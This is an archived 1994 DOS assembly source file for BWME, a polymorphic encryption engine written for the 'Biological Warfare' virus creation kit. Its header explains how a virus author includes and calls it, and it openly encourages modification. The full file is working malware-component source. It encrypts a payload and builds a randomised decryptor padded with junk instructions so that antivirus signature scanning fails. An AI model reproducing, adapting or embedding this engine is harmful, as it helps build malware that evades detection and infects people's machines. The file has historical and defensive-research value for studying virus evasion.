home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / BW100.ZIP / BWME.ASM < prev    next >
Assembly Source File  |  1994-06-04  |  14KB  |  418 lines

  1. ; ==========================================================================>
  2. ;  BWME : A (very) basic polymorphic engine 
  3. ;  Written for Biological Warfare v1.00
  4. ;  By MnemoniX - Version 1.00 1994
  5. ;  Size : 609 Bytes
  6. ;  Modification is permitted - nay, encouraged - but please maintain the
  7. ;  "BWME" signature.
  8. ;
  9. ;  Usage :
  10. ;
  11. ;          Fill registers with appropriate data:
  12. ;
  13. ;                       DS:SI - code to encrypt
  14. ;                       ES:DI - space for encrypted code
  15. ;                       CX - size of code
  16. ;                       DX - offset of encrypted when run
  17. ;
  18. ;          Use "call _bwme" to call
  19. ;          and at end of program include the line :
  20. ;
  21. ;                       include bwme.asm
  22. ;
  23. ;          On return, DS:DX points to space for encrypted code
  24. ;          and CX holds the size of the encrypted module.
  25. ; ==========================================================================>
  26.  
  27. _BWME:
  28.                 jmp     _bwme_stuff
  29.  
  30.                 db      '[BWME]'
  31.  
  32. _bwme_stuff:
  33.                 push    ax bx es di es di si bp
  34.  
  35.                 call    $ + 3                   ; get our offset
  36.                 pop     bp
  37.                 sub     bp,offset $ - 1
  38.  
  39. ; 1) Fill in variables with random numbers.
  40.  
  41.                 call    randomize               ; fix random number generator
  42.  
  43.                 push    es di
  44.                 lea     di,[bp + reg_1]
  45.                 push    cs
  46.                 pop     es
  47.  
  48.                 xor     bl,bl
  49.                 call    get_register            ; get registers
  50.                 stosb                           ; (won't be SP or one
  51.                 mov     bl,3
  52.                 call    get_register            ;  already used)
  53.                 stosb
  54.  
  55.                 mov     al,3                    ; ADD, SUB or XOR?
  56.                 call    _random
  57.                 stosb
  58.  
  59.                 or      al,-1                   ; random number
  60.                 call    _random
  61.                 stosb
  62.                 
  63.                 pop     di es
  64.                 mov     cs:[bp + started_at],di ; save starting address
  65.  
  66. ; 2) Fill decryptor registers
  67.  
  68.                 push    ds
  69.                 push    cs                      ; DS temporarily = to CS
  70.                 pop     ds
  71.  
  72.                 call    garbage                 ; garbage instruction
  73.  
  74.                 call    head_tail               ; load counter or offset?
  75.                 jc      counter_first
  76.  
  77.                 call    load_offset             ; offset first
  78.                 call    load_counter
  79.                 jmp     decryptor
  80.  
  81. counter_first:
  82.                 call    load_counter            ; counter first
  83.                 call    load_offset
  84.                 jmp     decryptor
  85.  
  86. load_offset:
  87.                 mov     al,[bp + reg_2]
  88.                 call    garbage
  89.                 add     al,0B8h
  90.                 stosb
  91.                 mov     [bp + offset_at],di     ; fill the offset value later
  92.                 stosw
  93.                 ret
  94. load_counter:
  95.                 mov     al,[bp + reg_1]         ; counter register
  96.                 call    garbage
  97.                 add     al,0B8h
  98.                 stosb
  99.                 mov     ax,cx                   ; store program size
  100.                 stosw
  101.                 ret
  102.  
  103. ; 3) Load up decryption routine & fix encryption routine
  104.  
  105. decryptor:
  106.                 push    di                      ; save this offset
  107.                 call    garbage                 ; more garbage
  108.  
  109.                 mov     ax,802Eh
  110.                 stosw
  111.  
  112.                 mov     al,[bp + operation]
  113.  
  114.                 test    al,al                   ; 0 = ADD
  115.                 je      do_add
  116.                 cmp     al,1                    ; 1 = SUB
  117.                 je      do_sub
  118.                                                 ; 2 = XOR
  119.                 mov     al,30h                  ; get proper operation
  120. do_add:
  121.                 push    ax
  122.                 cmp     al,28h                  ; if SUB,ADD when encrypting
  123.                 je      encrypt_add
  124.                 test    al,al
  125.                 je      encrypt_sub             ; and vice versa
  126.  
  127.                 mov     al,32h                  ; fix encryption routine
  128.                 mov     [bp + encrypt_oper],al  ; same for XOR
  129.                 jmp     decryptor_stuff
  130.  
  131. encrypt_add:
  132.                 mov     al,2
  133.                 jmp     encrypt_move
  134. encrypt_sub:
  135.                 mov     al,2Ah
  136. encrypt_move:
  137.                 mov     [bp + encrypt_oper],al
  138.  
  139. decryptor_stuff:
  140.                 pop     ax
  141.                 mov     ah,[bp + reg_2]         ; get offset register
  142.  
  143.                 cmp     ah,3                    ; BX
  144.                 je      its_bx
  145.                 cmp     ah,6                    ; SI
  146.                 je      its_si
  147.                 ja      its_di                  ; DI
  148.  
  149.                 add     al,46h                  ; BP (word)
  150.                 xor     ah,ah
  151.                 stosw
  152.                 jmp     load_value
  153.  
  154. its_bx:         add     al,2                    ; this loads up the proper
  155. its_di:         inc     ax                      ; operation instruction
  156. its_si:         add     al,4
  157.                 stosb
  158.                 jmp     load_value
  159.  
  160. do_sub:
  161.                 mov     al,28h
  162.                 jmp     do_add
  163.  
  164. load_value:
  165.                 mov     al,[bp + random_no]
  166.                 stosb
  167.  
  168. ; 4) Increment offset register
  169.  
  170. loaded:
  171.                 call    garbage                 ; garbage
  172.                 call    head_tail               ; now increment offset reg
  173.                 jc      use_increments          ; with INCs or ADDs
  174.  
  175.                 mov     ax,0C083h               ; use an ADD
  176.                 add     ah,[bp + reg_2]
  177.                 stosw
  178.  
  179.                 mov     al,1
  180.                 stosb
  181.                 jmp     fix_counter
  182.  
  183. use_increments:
  184.                 mov     al,40h
  185.                 add     al,[bp + reg_2]
  186.                 stosb
  187.  
  188. ; 5) Decrement counter register & make loop
  189.  
  190. fix_counter:
  191.                 cmp     [bp + reg_1],1          ; if CX, we can use LOOP
  192.                 jne     no_loop
  193.                 call    head_tail               ; if we want to
  194.                 jc      use_loop
  195.  
  196. no_loop:
  197.                 call    garbage
  198.                 call    head_tail               ; INC or SUB?
  199.                 jc      use_decrement
  200.  
  201.                 mov     ax,0E883h               ; use a SUB
  202.                 add     ah,[bp + reg_1]
  203.                 stosw
  204.                 mov     al,1
  205.                 stosb
  206.                 jmp     now_jnz
  207.  
  208. use_loop:
  209.                 call    garbage
  210.                 pop     ax                      ; offset of decryptor
  211.                 sub     ax,di
  212.                 sub     al,2
  213.                 mov     ah,al
  214.                 mov     al,0E2h                 ; store LOOP instruction
  215.                 stosw
  216.                 jmp     fix_offset
  217.  
  218. use_decrement:
  219.                 mov     al,48h
  220.                 add     al,[bp + reg_1]
  221.                 stosb
  222.  
  223. now_jnz:
  224.                 pop     ax                      ; offset of decryptor
  225.                 sub     ax,di
  226.                 sub     al,2
  227.                 mov     ah,al
  228.                 mov     al,75h                  ; store JNZ instruction
  229.                 stosw
  230.  
  231. ; 6) Fix offset register now
  232.  
  233. fix_offset:
  234.                 call    garbage                 ; one last garbage dump
  235.  
  236.                 mov     ax,[bp + started_at]    ; calculate our offset
  237.                 sub     ax,di                   ; relative to runtime offset
  238.                 neg     ax
  239.                 add     ax,dx
  240.  
  241.                 mov     bx,[bp + offset_at]
  242.                 mov     es:[bx],ax              ; done
  243.  
  244. ; 7) and now ... we encrypt ....
  245.  
  246. encryption:
  247.                 pop     ds                      ; restore DS
  248.                 push    ax                      ; use this later
  249.                 push    cx                      ; save size of code
  250.  
  251.                 mov     bl,cs:[bp + random_no]
  252.  
  253. encrypt_it:
  254.                 lodsb
  255. encrypt_oper    db      0
  256.                 db      0C3h
  257.                 stosb
  258.                 loop    encrypt_it
  259.  
  260.                 pop     cx                      ; size of code
  261.  
  262.                 pop     ax
  263.                 sub     ax,dx                   ; plus decryption module
  264.                 add     cx,ax                   ; done ...
  265.                 jmp     bwme_done
  266.  
  267. ; the heap
  268.  
  269. reg_1           db      4                       ; counter register
  270. reg_2           db      4                       ; offset register
  271. operation       db      0                       ; operation
  272. random_no       db      0                       ; random number
  273.  
  274. started_at      dw      0                       ; beginning of code
  275. offset_at       dw      0                       ; offset register load
  276.  
  277. rand_seed       dw      0
  278.  
  279. ; randomize routine
  280.  
  281. randomize:
  282.                 push    cx dx
  283.                 xor     ah,ah                   ; get timer count
  284.                 int     1Ah
  285.                 mov     cs:[bp + rand_seed],dx
  286.                 xchg    ch,cl
  287.                 add     cs:[bp + rand_seed_2],cx
  288.                 pop     dx cx
  289.                 ret
  290.  
  291. ; head/tail routine
  292.  
  293. head_tail:
  294.                 mov     ax,2                    ; get a 0 or 1 value
  295.                 call    _random                 ; and move CF
  296.                 test    al,al
  297.                 jz      _head_
  298.                 stc
  299.                 ret
  300. _head_:         clc
  301.                 ret
  302.  
  303. ; get register routine
  304.  
  305. get_register:
  306.                 mov     ax,8                    ; get register
  307.                 call    _random
  308. check_reg:
  309.                 cmp     al,4                    ; can't use SP or used ones
  310.                 je      no_good
  311.                 cmp     al,bl
  312.                 jb      no_good
  313.                 cmp     al,cs:[bp + reg_1]
  314.                 je      no_good
  315.                 cmp     al,cs:[bp + reg_2]
  316.                 je      no_good
  317.                 ret                             ; it's good
  318. no_good:
  319.                 test    al,al
  320.                 jz      blah_blah
  321.                 dec     al
  322.                 jmp     check_reg
  323. blah_blah:
  324.                 mov     al,7
  325.                 jmp     check_reg
  326.  
  327. ; random number generator
  328.  
  329. _random:
  330.                 push    cx dx ax                ; save regs
  331.                 in      al,40h                  ; timer, for random #
  332.                 sub     ax,cs:[bp + rand_seed]
  333.                 db      35h                     ; XOR AX,
  334. rand_seed_2     dw      0
  335.                 inc     ax
  336.                 add     cs:[bp + rand_seed],ax  ; change seed
  337.                 xor     dx,dx
  338.                 pop     cx
  339.                 test    ax,ax                   ; avoid divide by zero
  340.                 jz      no_divide
  341.                 div     cx
  342. no_divide:
  343.                 mov     ax,dx                   ; remainder is the value
  344.                 pop     dx cx                   ; returned
  345.                 ret
  346.  
  347. ; garbage instruction generator
  348.  
  349. garbage:
  350.                 push    ax
  351.                 mov     ax,8                    ; decisions, decisions ...
  352.                 call    _random                 ; what garbage to use?
  353.  
  354.                 cmp     al,1                    ; 1 = NOP or SAHF
  355.                 je      nop_sahf
  356.                 cmp     al,2                    ; 2 = operate, unused reg.
  357.                 je      nothing_oper
  358.                 cmp     al,3                    ; 3 = STC or CMC
  359.                 je      stc_cmc
  360.                 cmp     al,4                    ; 4 = jump to next
  361.                 je      nothing_jmp             ;     instruction
  362.                 cmp     al,5                    ; 5 = CMP instruction
  363.                 je      nothing_cmp
  364.  
  365. garbage_done:
  366.                 pop     ax                      ; garbage in, garbage out
  367.                 ret
  368.  
  369. nop_sahf:
  370.                 call    head_tail               ; NOP or SAHF
  371.                 je      use_sahf
  372.                 mov     al,90h
  373. store_gbg:      stosb
  374.                 jmp     garbage_done
  375. use_sahf:       mov     al,9Eh
  376.                 jmp     store_gbg
  377.  
  378. nothing_oper:
  379.                 xor     bl,bl
  380.                 call    get_register
  381.                 add     al,0B8h
  382.                 stosb
  383.                 or      ax,-1
  384.                 call    _random
  385.                 stosw
  386.                 jmp     garbage_done
  387.  
  388. stc_cmc:
  389.                 call    head_tail               ; STC or CMC
  390.                 jc      use_cmc
  391.                 mov     al,0F9h
  392.                 jmp     store_gbg
  393. use_cmc:        mov     al,0F5h
  394.                 jmp     store_gbg
  395.  
  396. nothing_jmp:
  397.                 mov     ax,10h                  ; random jump instruction
  398.                 call    _random
  399.                 add     al,70h
  400.                 xor     ah,ah
  401.                 stosw
  402.                 jmp     garbage_done
  403.  
  404. nothing_cmp:
  405.                 mov     ax,800h                 ; nothing CMP
  406.                 call    _random
  407.                 xor     al,al
  408.                 add     ax,0F881h
  409.                 stosw
  410.                 call    _random
  411.                 stosw
  412.                 jmp     garbage_done
  413.  
  414. bwme_done:
  415.                 pop     bp si dx ds di es bx ax
  416.                 ret
  417. _bwme_end:
  418.